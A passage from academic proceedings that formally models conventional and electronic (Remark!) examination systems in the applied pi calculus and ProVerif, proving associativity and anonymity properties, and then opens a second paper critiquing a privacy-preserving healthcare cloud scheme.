authentication can be expressed.

Most of the existing research work in the field of summative examinations,
assume the use of common question paper for all the students answering the
particular examination course paper. If we intend to address the issue of ques-
tion paper leakage and collusion/plagiarism acts of students during examination
effectively, use of unique question paper per student/group of students appears
to be one good solution. The security approaches that exist in the literature
become insufficient when we attempt to use multiple question papers for each
course paper. We need a mechanism to link the question paper answered by the
student to the corresponding answer-script produced by the student unambigu-
ously. It is also desired to keep the identity of the student and corresponding
question paper secret from the examiners and the identity of the examiners secret
from the students. We also need to keep student answer-scripts hidden from the
examination authority for better security.

In this paper, we define a formal framework where we model conventional
and electronic examination system. We formalize associativity and anonymity
properties relevant for examinations and state the conditions that associativ-
ity and anonymity test has to satisfy. We implement the associativity tests in
the applied π calculus [1] and use Proverif [5] to run an automated analysis
along with manual analysis using theorems. As per our best knowledge, no such
research work has been done in the field of examinations.

3 Summative Examination Model

Summative examination tasks can be broadly classified into 3 main stages,
namely: pre-conduct, conduct and post-conduct. The two main activities of the
pre-conduct stage are: enrollment of eligible students and question paper produc-
tion. Initially, examination authority enrolls eligible students for the examination
by allocating a unique examination seat number. The question paper produc-
tion process deals with the appointment of question paper setters, question paper
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setting and management and delivery of question papers to the respective exam-
ination centers.

The conduct phase of the examination handles activities such as verification
of the student identity vis-a-vis registered identity, delivery of question papers
and other required material to the students, supervising the students in the
examination hall and the collection of the answer-scripts from the students.

The final post-conduct stage of the examination handles tasks such as pro-
viding anonymity to the students and examiners, the delivery of the anony-
mous answer-scripts to the respective examiners for evaluation, evaluation of
the answer-scripts, collections of the evaluated answer-scripts from the examin-
ers and final tabulations of marks for grading.

We consider the following description of the examination system to describe
the summative examination model: Eligible students enroll for the examination
and are assigned unique seat nos. The question paper setters submit a wide
variety of questions/question papers pertaining to the particular course paper
to the examination authority. The examination system picks up subset of such
questions/question paper randomly and presents as examination question paper
to the students answering the examination. Students answer the examination
in a supervised environment. Proctors/Supervisors monitor and supervise the
conduct of the examination. At the end of the examination students submit the
answer-scripts corresponding to the question paper to the examination authority.
Examination authority allots the collected answer-scripts to the examiners for
evaluation after disguising the identity of the student. The examiner evaluates
the student answer-scripts and assigns the marks/grades for each answer based
on the marking scheme. Examiner identity is not revealed to the students after
evaluation of the answer-scripts.

Based on the examination process described above, our examination model
is composed of five classes of communicating entities, namely: students, exami-
nation authority, paper setters, proctors and examiners. These communicating
entities of an examination can be modelled as processes in the applied π calcu-
lus. These processes communicate via public or private channels. Processes can
perform tests and cryptographic operations on the exchanged data using equa-
tional theory describing some algebraic properties [6]. The attacker can inject
messages of his choice into the public channels and exploit the algebraic prop-
erties of cryptographic primitives due to an equational theory. The examination
model also handles question papers, answer-scripts and student performance in
the examination all bound together with the set of examination protocols pro-
viding necessary goals and security requirements.

3.1 Examination

We now define examination on the basis of the above description of the summa-
tive examination system. The said definition is based on the electronic payment
system defined in [17].
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Definition 1 (Examination). Examination E is defined as unions of the fol-
lowing sets:

E = {SH,N,QP,AS, SP,EP} ∪ Goals ∪ Req ∪ Sec (1)

where,

– SH, SH �= φ, is a set of communicating entities involved in E, namely,
students(A), examination authority(B), invigilators(P), paper setters(T) and
examiners(X).

– N, N �= φ, is the communication channel used by stakeholders to communicate.
– QP is the question paper delivered to the students during the examination.
– AS represents answer-script produced by the student at the end of the exami-

nation.
– SP represent student consolidated performance in the examination.
– EP is the examination primitives required for exchange of the examination

content. In general, EP represents an examination protocol in E.
– Goals represent the set of goals of the stakeholders during the execution of the

examination primitives EP.
– Req represent the set of requirements of the stakeholders during the execution

of the examination primitives EP.
– Sec represents the security properties desired in the given examination system.

Definition (1) models a general examination system. As per our definition,
examination stakeholders, question paper, answer-script, student performance
and the examination action primitives form the main elements of the system. The
goals, requirements and the security properties make the system useful and trust-
worthy.

3.2 Examination Primitives

Definition 2 (Examination Primitives). Examination primitives, EP, spec-
ify the processes executed by the examination stakeholders to achieve the
goals of the system. These are the actions required for exchange of question
paper/answer-scripts and other examination related content, amongst stakehold-
ers, SH. In general EP is the examination protocol, It can be represented as:

EP = {SH,QP,AS, SP,N,OP} (2)

where,

– SH, SH �= φ is the set of communicating entities.
– QP represents question paper student needs to answer in the examination.
– AS represents answer-script produced by the student at the end of the exami-

nation.
– SP represent student consolidated performance in the examination.
– N, is the communication channel used by stakeholders to communicate.
– OP is the set of actions required to complete the examination stages.

OP, the set of actions required for the delivery of examination content amongst
the examination stakeholders such as question paper delivery, answer-script
delivery, evaluated answer-script delivery and result tabulation and declaration.
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3.3 Requirements of Communicating Entities

We, in this paper focus on the specific requirements of main entities, namely,
student, examination authority and examiner as stated below:

1. The question paper received by the student shall not in any way reveal the
identity of the student to anybody.

2. The answer-script produced by the student shall not in any way reveal the
identity of the student to anybody.

3. The unique question paper provided to the student and the answer-script
produced by the student shall be linked together securely.

4. The answer-script produced by the student shall not be available to any
person, except the examiner concerned.

5. The identity of the student and answer-script produced by the student shall
not be available together to any person (other than the student).

6. The identity and evaluation carried by the examiner shall not be available
together to any person (other than the examiner).

7. The unique question paper provided to the student and answer-script pro-
duced by the student shall be linked together securely.

Along with the above identified security requirements, other requirements like
confidentiality, non-repudiation etc., are equally important and are well satisfied
by our examination model.

3.4 Examination Security

Definition 3 (Examination Security). Examination System, E must satisfy
the following set of security properties, Sec:

Sec = {Authentication,Confidentiality, Integrity,Availability,

Non − repudiation, V erifiability,Anonymity,Associativity} (3)

In this paper, we focus on two essential security aspects of examination, namely,
associativity and anonymity along with verifiability, where in,

1. Anonymity is the state of being not identifiable within a set of entities. In
examination system, it is required to keep the identity of certain stakeholders
secret to ensure fairness.

2. Associativity is the ability to unambiguously link the response and reply
actions of students and examination authority (question paper and answer-
script) and present only the required information to the involved stakeholder
without breaking the link (refer Sect. 4 for detail).

3. Verifiability is the ability to record the crucial evidence about events/actions
carried by examination stakeholders to assist in dispute resolution.
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4 Associativity and Anonymity

When unique question paper is used in the examination, we need a mechanism
to associate uniquely the question paper received by the student to the answer-
script produced by the student. In this paper, we introduce and define associa-
tivity property to establish such unique and inseparable bonding between the
question paper and the answer-script. We also define anonymity properties to
prevent any tracing of student identity based on the uniqueness of the question
paper. Student anonymity is required before the marking/grading to prevent any
attempts of coercion and favoritism.

4.1 Associativity and Anonymity Properties

In this section, we define associativity & anonymity properties required during
the exchange of unique question paper & answer script between the stakeholders,
namely: examination authority, students and examiners.

Definition 4 (Question paper & Answer-script Associativity). An
examination system with student process A (QP, AS, id) and examination
authority process B offers question paper & answer-script associativity, if it is
possible to unambiguously distinguish when a student A1 produce answer-script
ASA2 corresponding to the received question paper QPA1 from the case where
examination authority/student claim of producing ASA2 corresponding to alto-
gether different question paper QPA2 . This is formally specified by:

υñ.(A{QPA1/x,ASA2/y,A1/z}|B) �≈l υñ.(A{QPA2/x,ASA2/y,A1/z}|B) (4)

An examination system with question paper & answer-script associativ-
ity is capable of unambiguously distinguishing between received question
paper/answer-script pair from any malicious/false claims. This association is
required to build a reliable evidence for resolution of any dispute related to
question paper/answer-script originality/correctness.

Definition 5 (Answer-script Secrecy). An examination system with student
process A (QP, AS, id) and examination authority process B offers an answer-
script secrecy, if it is not possible for the examination authority to distinguish
the answer-scripts received. This is formally specified by:

υñ.(A{ASA1/x,ASA2/y}|B) ≈l υñ.(A{ASA2/x,ASA1/y}|B) (5)

An examination system with answer-script secrecy ensures that answer-scripts
remain hidden from the examination authority. This is desired because exami-
nation authority has no role to play in the answer-script evaluation.

Definition 6 (Answer-script Anonymity). An examination system with
examination authority process B (QP, AS, pseudo id) and examiner process X,
ensures answer-script anonymity, if it is not possible for the examiners to find
the author of the answer-scripts from the received answer-scripts, i.e., student A1
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producing an answer-script ASA1 is indistinguishable from student A2 producing
an answer-script ASA2 . This is formally specified by:

υñ.(B{{ASA1 , pidA1}, {ASA2 , pidA2}}|X) ≈l υñ.(B{{ASA2 , pidA1}, {ASA1 , pidA2}}|X)

(6)

An examination system with answer-script anonymity ensures that, the exam-
iner cannot infer the author of the answer-scripts from the given answer-scripts.
Answer-script anonymity is required to prevent any attempt of the student and
examiner from coercing with each other and trace the answer-script of the stu-
dent based on the known student identities and the given answer-scripts.

Definition 7 Examiner Anonymity before Answer-script Evaluation.
An examination system with student process A(QP, AS, id) and examination
authority process B or examination authority process B(QP,AS,pid), examiner
process X and student process A, ensures examiner anonymity before answer-
script evaluation from the student(A), if the assignment of ASA1 to examiner
X1 for evaluation is indistinguishable from the case where examiner X2 evaluates
the answer-script ASA2 .

υñ.(A{(ASA1/x1,X1/y1), (ASA2/x2,X2/y2)}|B) ≈l

υñ.(A{(ASA2/x1,X2/y1), (ASA1/x2,X1/y2)}|B)
(7)

or
υñ.(B{(ASA1/x1,X1/y1), (ASA2/x2,X2/y2)}|X|A) ≈l

υñ.(B{(ASA2/x1,X2/y1), (ASA1/x2,X1/y2)}|X|A)
(8)

An examination system with examiner anonymity before answer-script evalua-
tion ensures that, the identity of the examiner evaluating the answer-scripts can-
not be inferred by the students before the completion of the evaluation activity.

Definition 8 Student Anonymity. An examination system ensures student
anonymity from the examiners(X), if for any examination process P, with student’s
identity, A1, A2, ..., An, question papers, QP1, QP2, ..., QPn and answer-scripts,
AS1, AS2, ..., ASn, where student identities are available to the examiner in
isolation, then student identity and corresponding question paper/answer-script
is indistinguishable to the examiner(X).

Student anonymity states that, it should not be possible for the examiners to
find the link between given question paper/answer-script and the corresponding
student.

5 Evaluation of Existing Frameworks

In this section, we evaluate the existing summative examination frameworks,
namely: conventional and electronic summative examination system to verify
whether they satisfy the formal model presented in the Sect. 3 and associativity
and anonymity properties defined in Sect. 4.
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5.1 Conventional Summative Examination

The conventional summative examination system under our consideration fea-
tures 5 distinct stakeholders, namely: students (A), examination authority (B),
paper setters (T), proctors (P) and examiners (X). The entire examination
process is divided into three broad stages: pre-conduct, conduct & post-conduct.

Examination Stages: (i) Pre-Conduct:
Pre-conduct stage of the examination deals with registration of eligible students,
admission card and unique seat no. generation, question paper setting, appoint-
ment of paper setters (at least 3 paper setters for each course paper for guarding
the secrecy of question paper), paper production (selecting one question paper
randomly from the 3 sets of question paper), provision on answer-books for hid-
ing the identity of student from examiners.

(ii) Conduct:
Conduct phase of the examination carries tasks of authentication of students,
assertion of the answer-book freshness with the signature of the invigilator, stu-
dent attendance record maintenance, monitoring the student activities to control
in-house malpractices.

(iii) Post-Conduct:
The post-conduct stage of the examination handles student anonymity
(by detaching the student identity from answer-book and assigning a unique
code to the answer-book), examiner anonymity (evaluation of answer-scripts
is carried without revealing examiner identity on the evaluated answer-books),
collection of the evaluated answer-scripts from the examiners, marks entry, final
tabulation of marks for grading, scrutiny of the unfair means, tabulation of the
results and the issuing of the statement of marks to the students.

Formal Model: We provide a formal model of the conventional summative
examination in ProVerif. The Students (A), Examination authority (B), Paper
setters (T) and Examiners (X) form the main entities and are modelled as com-
municating processes. The examination model is derived from the definition (1).
The attacker has complete control of the network, except the private channels:
he can eavesdrop, remove, substitute, duplicate and delay messages that the
parties are sending one another, and insert messages of his choice on the public
channels (like the Dolev-Yao attacker [9]). Threats are captured due to collusions
and coercions, assuming the existence of dishonest parties. We first model the
cryptographic primitives used in the system and then the examination system
itself. The equational theory depicted below models the cryptographic primitives
used within the conventional summative examination system.

Equational Theory: We adopt the following signature to capture the crypto-
graphic primitives used by the conventional examination system.

Σ = {pk, ok, fst, snd, pair, seal, peal, sign, checksign, code, uncode, hash}
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pk corresponds to public key generation, ok is a constant. The properties of
concatenation and standard encryption and blind signatures are modeled by the
following set of equations:

peel(seal(m, pk(k)), k) = m (9)

uncode(code(x, k), k) = x (10)

checksign(sign(m, pk(k)), sign(m, k)) = ok (11)

The term pk(k) denotes the public key corresponding to the private key k in
asymmetric encryption. The function seal/peel (refer Eq. (9)), is similar to asym-
metric encryption/decryption, is used to model that the attacker cannot see the
content of the exchanged messages and only authorized entities can open and see
the exchanged content. Paper setters use seal function to deliver the question
papers securely to the examination authority. The examination authority use
peel function to get the original question papers back. Examination authority
use seal function to deliver the question papers to the students. Question papers
are peeled open by the authorized students (Student representative needs to
make sure that the sealed envelope carrying question papers is not tampered).
Similar arrangement is required during answer-script exchange between exami-
nation authority and the examiners.

The code function (refer Eq. (10)), similar to a symmetric encryption scheme
is used to disguise the identity of the student from the examiner. The identity is
retrieved back during the final tabulation of marks for grading with the reverse
function uncode. The function sign (refer Eq. (11)) is used to obtain the signa-
ture of the student, indicating his presence in the examination concerned. The
presence of the student in the examination can be verified, in case of dispute
with the help of checksign function.

Analysis of Associativity: We, now analyze conventional examination system
using the equational theory as defined above. We analyze associativity tests
guided by the properties defined in Sect. 4. We use indistinguishability assertions
to prove associativity properties. We consider the following cases to understand
whether an association between the given question paper and answer-script is
provided by the conventional examination system:

1. Case 1: When common question paper is used across all the students:
2. Case 2: When unique question paper is used for each student/group of the

students:
(a) Scenario 1: All the students are honest and answer the examination with-

out resorting to any malpractice:
This is an ideal situation and no dispute situation arises needing any
security intervention.

(b) Scenario 2: Some students indulge in malpractice in the form of collu-
sion/plagiarism:
In this case, a student colludes or plagiarizes the answer-script of neigh-
boring student, i.e., instead of producing answer-script x, it presents
answer-script, y (obtained from the neighboring student).
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We now show that the conventional examination system does not preserve the
association (refer Definition (4)) between the given question paper and answer-
script, even when all but one student is dishonest.

Theorem 1. The conventional examination system does not provide associa-
tivity (refer Definition (4)) between a given pair of question paper and answer-
script.

Proof: In order to prove Theorem 1, we need to show that, it is not possible
to unambiguously distinguish when a student A1 produce answer-script ASA2

corresponding to the received question paper QPA1 from the case where a student
produce answer-script ASA1 , when: (i) Common question paper is used, and (ii)
Unique question paper is used.

Let us consider the following frames to verify whether a conventional exam-
ination system satisfies the associativity:

ϕ0 = {pk(B)/v1}|{pk(Ai)/v2}|{pk(Xi)/v3}|{{seal(QPi, Ai)|i = 1..n},

ϕ1 = ϕ0|{ASA2/y},

ϕ2 = {ASA1/y},

ϕk = {ϕk−1}|{seal((ASAi
, Ai), pk(B))}|{seal((ASAi

, pidi), pk(X))},

ϕδ = ϕn|{peel((ASAi
, Ai), B)}|{peel(ASAi

, pidi),X)}

(12)

ϕ0 corresponds to the initial knowledge of the communicating entities. It contains
the public data exchanged and the public keys.

ϕ1 corresponds to answer-script submitted by the dishonest student A1.
ϕ2 corresponds to the claim of the examination authority/student after the

submission of the answer-script.
ϕk corresponds to the knowledge of the examination authority/examiners

after the submission of the answer-script by the student A1.
ϕδ corresponds to the opening of the received answer-scripts.
Here, pidi is the pseudo identity of the student. The actual identity of the

student is hidden from the examiners.

Case 1: Common question paper QP1 is used:
In this case since all students are answering same question paper, dishonest
students can exploit this vulnerability and indulge in plagiarism/collusion. In
this situation, since neither party maintains any undeniable evidence which can
prove the given answer-script is plagiarized or not (Refer Eq. (12)), it is not
possible to fully endorse the claim of any of the communicating entities in case
of dispute.

We modelled the conventional examination system with common question
paper in Proverif and found that, if the given pair of question paper and answer
script is swapped, it remains indistinguishable, i.e., it satisfies observational
equivalence as indicated in Eq. (13).

P [QPA1/x,ASA1/y|QPA1/x,ASA2/y] ≈ P [QPA1/x,ASA2/y|QPA1/x,ASA1/y]
(13)
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Case 2: Unique question paper is used for each student/group of students:
In this case in the event when a student plagiarizes the answer-script of the
other student, corresponding to the altogether different question paper, the sim-
ple mapping of the student question paper and answer-script cannot act as an
undeniable evidence in case of dispute. The conventional examination system
does not maintain any undeniable evidence to tackle this issue (refer Eq. (12)).

We modelled the conventional examination system with unique question
paper in Proverif and found that, if the given pair of question paper and answer
script is swapped, it remains indistinguishable, i.e., it satisfies observational
equivalence as indicated in Eq. (14).

P [QPA1/x,ASA1/y|QPA2/x,ASA2/y] ≈ P [QPA1/x,ASA2/y|QPA2/x,ASA1/y]
(14)

Thus, we state that, the conventional examination system does not provide
undeniable evidence for maintaining the association between the question paper
received by the student and answer-script produced by the student.

Analysis of Anonymity: We, now analyze anonymity properties using equa-
tional theory, guided by the properties defined in Sect. 4 and Eqs. (12). We
assume the use of unique question paper for each student/group of the students.

Lemma 1. The conventional examination system does not provide answer-
script secrecy from the examination authority (refer Definition (5)).

Proof: In order to prove Lemma 1, we need to show that, it is possible for
the examination authority to distinguish the received answer-scripts from each
other. Based on the equational theory and local knowledge of the examination
authority (B) (Refer (12)), we propose the following inference system.

B seal((ASAi
, Ai), pk(B))

(ASAi
, Ai)

The above inference system clearly indicates that, the examination authority is
in a position to access the answer-scripts and student identity as received from
the student entity. In other words, each answer-script submitted by the student
can be accessed by the examination authority, i.e., each received answer-script is
observationally different for the examination authority as indicated in Eq. (15).

P [{ASA1/x,ASA2/y}] �≈ [{ASA2/x,ASA1/y}] (15)

Thus, we state that, the conventional examination system does not provide
secrecy of the answer-scripts from the examination authority.

Lemma 2. The conventional examination system provides answer-script
anonymity from the examiners (Refer Definition (6)).
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Proof: In order to prove Lemma 2, we need to show that, it is not possible
for the examiners to find the authors of the answer-scripts from its knowledge
base. Based on the equational theory and local knowledge of the examiners (X)
(Refer (12)), we propose the following inference system.

X seal((ASAi
, pidi), pk(X))

(ASAi
, pidi)

Examination authority, send the pseudo identity of the student (pidi) to the
examiners. The private key required to reveal the student identity back is known
to only the examination authority. In other words, though examiners get the
answer-scripts for evaluation, student identity is not available to the examiners
during evaluation, i.e., two given answer-scripts are observationally equivalent to
the examiners in the absence of knowledge of actual student identity as indicated
in Eq. (16).

P [ASA1/x, pidA1/y|ASA2/x, pidA2/y] ≈ P [QPA1/x, pidA2/y|ASA2/x, pidA1/y]
(16)

Thus, we state that, the conventional examination system provides answer-script
anonymity from the examiners.

Lemma 3. The conventional examination system provides examiner anonymity
before answer-script evaluation from the student entity(Refer Definition (7)),
provided answer-scripts are evaluated by the multiple examiners.

Proof: In order to prove Lemma 3, we need to show that, it is not possible for the
students to find the identity of the examiners before answer-script evaluation.

We assume that answer-scripts of a particular course paper are allotted to
the multiple examiners for evaluation. Based on the equational theory and local
knowledge of the students (Ai) (Refer (12)), we propose the following inference
system.

Ai pk(B) pk(X) (ASAi
, Ai)

seal((ASAi
, Ai), pk(B))

Students at the end of the examination need to submit the answer-books to the
examination authority. Students may possess the knowledge of the examiners
involved in the evaluation, but that knowledge is not sufficient to find the actual
examiner involved in the evaluation of the particular answer-scripts. In other
words, when two or more examiners are involved in the evaluation, examiner
identity and the answer-script assigned to the examiner is indistinguishable to
the student entity as indicated in the Eq. (17)

P [ASA1/x,X1/y|ASA2/x,X2/y] ≈ P [ASA1/x,X2/y|ASA2/x,X1/y] (17)

Thus, we can state that a conventional examination system provides examiner
anonymity before answer-script evaluation from the student entity.
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5.2 Electronic Summative Examination

We study the electronic examination protocol Remark!, proposed by [14]. The
protocol participants are the candidates (C), examiner (E), invigilator (G) and
manager (M). The role of the manager is: registration of eligible candidates and
examiners, Assignment of question papers for candidates, collection of answer
tests, distribution of answer tests to examiners and gather marks. The examina-
tion process is broadly classified into registration, testing, grading and notifica-
tion stages as described below:

Examination Stages: (i) Registration:
Manager registers the eligible set of students and examiners for the examination
by issuing the pseudonyms. Pseudonyms are generated by the exponentiation
mixnets for providing anonymity for the candidates/examiners. A bulletin board
is used to publish the pseudonyms, the questions, the tests, and the marks.

(ii) Testing:
The manager generates the test questions and signs them with its private key,
and encrypts each test question with the help of a candidate pseudonym before
putting it on a bulletin board. At the end, each candidate submits his answer,
which is signed with the candidate’s private key and encrypted with the public
key of the manager. The manager collects the test answer, checks its signature
using the candidate’s pseudonym, re-signs it, and finally publishes its encryption
with the corresponding candidate’s pseudonym as receipt.

(iii) Grading:
The manager encrypts the signed test answer with an eligible examiner
pseudonym and publishes the encryption on the bulletin board. The correspond-
ing examiner marks the test answer, and signs it with his private key. The exam-
iner then encrypts it with the public key of manager, and submits its marks to
the manager.

(iv) Notification:
The manager receives the encrypted evaluation from the examiner, which
are decrypted and re-encrypted with the help of the corresponding candidate
pseudonym. Then, the mixnet servers deanonymize the candidate’s pseudonyms
by revealing their secret exponents. Hence the candidate anonymity is revoked.
The examiner’s secret exponent is not revealed to ensure his anonymity even
after the exam concludes.

Formal Model: We analyze electronic summative examination system offered
through the Remark! protocol, using the applied π calculus following similar
techniques as the one used in the analysis of the conventional examination sys-
tem. The equational theory depicted below models the cryptographic primitives
used within the Remark! protocol. The equations for encryption and signatures
are standard.
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Equational Theory: We adopt the following signature to capture the crypto-
graphic primitives used by the Remark! protocol.

Σ = {pk, aenc, adec, checkpseudo, sign, checksign, hash}

corresponding to public key generation, asymmetric encryption, asymmetric
decryption, sign, checksign, and pseudo signature and hash calculation. The
properties of standard encryption and pseudo signatures are modeled by the
following set of equations:

adec(aenc(m, pk(k)), k) = m (18)

adec(aenc(m, pseudo pub(pk(k), rce), r), pseudo priv(k, exp(rce))) = m (19)

checkpseudo(pseudopub(pk(k), rce), pseudo priv(k, exp(rce))) = true (20)

getmess(sign(m, k)) = m (21)

checksign(sign(m, k), pk(k)) = m (22)

checksign(sign(m, pseudo priv(k, exp(rce))), pseudo pub(pk(k), rce)) = m
(23)

The term pk(k) denotes the public key corresponding to the secret key k in
asymmetric encryption. The function aenc/adec (Refer Eq. (18)), is asymmetric
encryption/decryption. The manager uses aenc function to deliver the question
papers securely to the candidates. Candidates use adec function to get the orig-
inal question papers back. Candidates use aenc function to deliver the answer-
scripts to the manager. Answer-scripts are decrypted by the manager using adec.
The function checkpseudo (refer Eq. (20)) is used to check if a pseudonym corre-
sponds to a given secret key. The function pseudo priv is used to decrypt or sign
messages, using the secret key and the new generator gr. The pseudonym, which
also serves as the test identifier is generated using the function pseudo pub,
which takes in a public key and a random exponent.

Analysis of Associativity: We, now analyze the Remark! protocol using the
equational theory depicted above. We analyze associativity tests guided by the
properties defined in Sect. 4. We consider the following cases to understand
whether an association between the given question paper and answer-script is
satisfied by the Remark! examination protocol:

1. Case 1: When common question paper is used across all the students:
2. Case 2: When unique question paper is used for each student/group of the

students:
(a) Scenario 1: All the students are honest and answer the examination with-

out resorting to any malpractice:
This is an ideal situation and no dispute situation arises needing any
security intervention.
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(b) Scenario 2: Some students indulge in malpractice in the form of collu-
sion/plagiarism:
In this case, a student colludes or plagiarizes the answer-script of neigh-
boring student, i.e., instead of producing answer-script x, it presents
answer-script, y (obtained from the neighboring student).

We now show that the electronic examination system modelled through the
Remark! protocol preserves the association (Refer Definition (4)) between the
given question paper and answer-script, even when all but one student is dis-
honest.

Theorem 2. The Remark! protocol provides associativity(refer Definition (4))
between a given pair of question paper and answer-script.

Proof: In order to prove Theorem 2, we need to show that, it is possible to
unambiguously distinguish when a student A1 produce answer-script ASA2 cor-
responding to the received question paper QP1 from the case where a student
produce answer-script ASA1 , when: (i) Common question paper is used, and (ii)
Unique question paper is used.

Let us consider the following frames to verify whether the Remark! protocol
satisfies the associativity:

ϕ0 = {pk(B), pk(Ai), pk(Xi), pseudoB , pseudoAi
, pseudoXi

, aenc(QPi, pseudoAi
)|i = 1..n},

ϕ1 = ϕ0|{ASA2/y},

ϕ2 = {ASA1/y},

ϕk = {ϕk−1}|{aenc((QPi, ASAi
, pseudoAi

), pk(B)), sign((QPi, ASAi
, pseudoAi

), privAi
),

aenc((QPi, ASAi
, pseudoAi

, pseudoXi
), pseudoXi

), sign((QPi, ASAi
, pseudoAi

), B)},

ϕδ = ϕn|{adec((QPi, ASAi
, pseudoAi

), B)}
(24)

Refer Eq. (12) for definition of ϕ0, ϕ1, ϕ2, ϕk and ϕδ. Also, pseudoB is the
pseudo public key of the examination authority, pseudoAi

is the pseudo public
key of the students, privAi

is the pseudo private key of the students, pseudoXi

is the pseudo public key of the examiners. The actual identity of the student is
hidden from the examiners.

Case 1: Common question paper QP1 is used:
Dishonest students can exploit this vulnerability and indulge in plagia-
rism/collusion. Since, neither party maintains any undeniable evidence which
can prove the given answer-script is plagiarized or not (Refer Eq. (24)) it is not
possible to fully endorse the claim of any of the communicating entities in case
of dispute.

Case 2: Unique question paper is used for each student/group of students:
The Remark! protocol builds an undeniable evidence associating the question
paper to the answer-script in the form of sign((QPi, ASAi

, pseudoAi
) (Refer

Eq. (24)). Since, manager and student gets signed acknowledgement of receipt
of the question paper and answer tests pair from each other, they are not in a
position to deny their actions (Refer Eq. (24)).
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We modelled the Remark! protocol in ProVerif and found that, if the given
pair of question paper and answer script is swapped, it is distinguishable, i.e.,
swapped and original pair are not observationally equivalent as indicated in
Eq. (25).

P [QPA1/x,ASA1/y|QPA1/x,ASA2/y] �≈ P [QPA1/x,ASA2/y|QPA1/x,ASA1/y]
(25)

Thus, we state that, the examination system with the Remark! protocol provide
an undeniable evidence for maintaining the association between the question
paper received by the student and answer-script produced by the student.

Analysis of Anonymity: We, now analyze anonymity using equational theory,
guided by the properties defined in Sect. 4 and Eqs. (24). We assume the use of
unique question paper for each student/group of the students.

Lemma 4. The electronic examination system with the Remark! protocol does
not provide answer-script secrecy from the examination authority (Refer Defin-
ition (5)).

Proof: In order to prove Lemma 4, we need to show that, it is possible for
the examination authority to distinguish the received answer-scripts from each
other. Based on the equational theory and local knowledge of the examination
authority (B) (Refer (24)), we propose the following inference system.

B aenc((QPi, ASAi
, pseudoAi

), pk(B))
(QPi, ASAi

, pseudoAi
)

The above inference system clearly indicates that, the examination authority is
in a position to access the answer-scripts and student identity as received from
the student entity. In other words, each answer-script submitted by the student
can be accessed by the examination authority, i.e., each received answer-script is
observationally different for the examination authority as indicated in Eq. (26).

P [{ASA1/x,ASA2/y}] �≈ [{ASA2/x,ASA1/y}] (26)

Thus, we state that, the examination system with the Remark! protocol does
not provide secrecy of the answer-scripts from the examination authority.

Lemma 5. The electronic examination system with the Remark! protocol pro-
vides answer-script anonymity from the examiners(refer Definition (6)).

Proof: In order to prove Lemma 5, we need to show that, it is not possible for
the examiners to find the authors of the answer-scripts from its knowledge base.

Based on the equational theory and local knowledge of the examiners (X)
(Refer (24)), we propose the following inference system.

X privXi
aenc((QPi, ASAi

, pseudoAi
, pseudoXi

), pseudoXi
)

(QPi, ASAi
, pseudoAi

, pseudoXi
)
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Examination authority, send the pseudo identity of the student(pseudoAi
) to

the examiners. The pseudo private key required to reveal the student identity
back is known to only the student. In other words, though examiners get the
answer-scripts for evaluation, student identity is not available to the examiners
during evaluation, i.e., two given answer-scripts are observationally equivalent
for the examiners as indicated in Eq. (27).

P [ASA1/x, pseudoA1/y|ASA2/x, pseudoA2/y] ≈ P [QPA1/x, pseudoA2/y|ASA2/x, pseudoA1/y]

(27)
Thus, we state that, the examination system with the Remark! protocol provides
answer-script anonymity from the examiners.

Lemma 6. The electronic examination system with the Remark! protocol pro-
vides examiner anonymity before answer-script evaluation from the student
entity (Refer Definition (7)), provided answer-scripts are evaluated by the mul-
tiple examiners.

Proof: In order to prove Lemma 6, we need to show that, it is not possible for the
students to find the identity of the examiners before answer-script evaluation.

We assume that answer-scripts of a particular course paper are allotted to
the multiple examiners for evaluation. Based on the equational theory and local
knowledge of the students (Ai) (Refer (24)), we propose the following inference
system.

Ai pk(B) pk(X) (QPi, ASAi
, pseudoAi

)
aenc((QPi, ASAi

, pseudoAi
), pk(B))

Students at the end of the examination, submit the encrypted answer-books to
the examination authority. Students may possess the knowledge of the examiners
involved in the evaluation, but that knowledge is not sufficient to find the actual
examiner involved in the evaluation of the particular answer-scripts. In other
words, when two or more examiners are involved in the evaluation, examiner
identity and the answer-script assigned to the examiner is indistinguishable to
the student entity as indicated in the Eq. (28)

P [ASA1/x,X1/y|ASA2/x,X2/y] ≈ P [ASA1/x,X2/y|ASA2/x,X1/y] (28)

Thus, we can state that examination system with Remark! protocol provides
examiner anonymity before answer-script evaluation from the student entity.

6 Conclusion

We, in this paper have defined a framework for modelling the examination sys-
tem in the applied π calculus to express the properties of associativity and
anonymity. We investigated and modelled two existing examination systems,
namely: conventional and electronic examination system using applied π calcu-
lus and ProVerif. We defined series of associativity and anonymity properties
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to analyze and validate the two examination systems. We proved that both
the examination systems fail to provide the required level of associativity and
anonymity between the question paper and answer-script exchanged between the
examination authority and the students. As a future work, we, intend to study
and compare/contrast the specific examination security requirements with those
of other domains such as e-shopping and e-voting. Also, we plan to extend our
work at the protocol level to detect plagiarism/collusion and student malprac-
tices during the examination phases.
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Abstract. Protecting user data in public server is one of the major con-
cerns in cloud computing scenarios. In recent trends, data owner prefers
storing data in a third party server in a controlled manner, sometimes in
an encrypted form. In this paper, we discuss a recent scheme [1] appeared
in INFOCOM 2015 that claims verifiable privacy-preserving service in
healthcare systems. We show that the scheme [1] suffers from security
weaknesses, in particular, it does not provide privacy-preserving services,
which is the main claim of the scheme. We provide an improved solution
by slightly modifying the scheme, which retains the security and privacy
claim intact without increasing any overhead.

Keywords: Privacy · Cloud security · Access control · Data encryp-
tion · Authentication

1 Introduction

Cloud computing is a cost effective computing paradigm for convenient, on-
demand data access to a shared pool of configurable computing resources such
as networks, servers, storage, applications and services [2]. Broadly, there are
three types of consumers in cloud computing – Cloud server as a consumer,
Merchant (Data Owner) as a consumer, and Customer as a consumer. Cloud
server facilitates storage and services in which merchant stores the application
data and all eligible customers of the merchant get on-demand services from
the cloud infrastructure. Data owner hires the cloud infrastructure for storing
application data in the cloud storage. While resource outsourcing provides signif-
icant advantages to data owners as well as to service consumers, there are some
important concerns such as security, privacy, ownership and trust that have been
discussed substantially over past decade [3–6]. For example, the company can
delegate the health monitoring systems to the cloud, where a patient can directly
communicate with the cloud. However, upon receiving the patient request the
cloud can generate a fabricated report for some malicious intent. Therefore,
there is a possibility that cloud server can manipulate the data without data
owner’s knowledge. In order to avoid such scenarios, data owner can prefers to

c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 324–335, 2016.
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store data in cloud server in a controlled manner so that the cloud server cannot
manipulate the data while consumer getting services from it. In recent times,
several mHealth services have been proposed [4,7–10]. MediNet [7] discussed a
mobile healthcare system that can personalize the self-care process for patients
